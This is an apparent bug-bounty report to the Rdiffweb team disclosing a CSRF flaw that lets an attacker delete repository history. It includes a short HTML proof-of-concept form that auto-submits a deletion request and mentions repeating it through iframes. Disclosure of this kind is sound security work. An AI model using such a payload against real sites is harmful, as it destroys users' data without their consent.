✍️ Description

Hello dear Rdiffweb team.

I found a CSRF vulnerability on following endpoint that attackers able to Delete repositories History with PoC.html

🕵️‍♂️ Proof of Concept

  1. user with right privileges should be logged in Firefox or Safari.

  2. Users go to a website that contain PoC.html

3.after visiting attacker's website a repo History with name test-encoding will be deleted. // PoC.html

  <script>history.pushState('', '', '/')</script>
    <form action="" method="POST">
      <input type="hidden" name="confirm" value="testcases" />
      <input type="submit" value="Submit request" />

Also attacker can send multiple request with help of Iframes.


I just want to suggest you to set a CSRF token for this form.
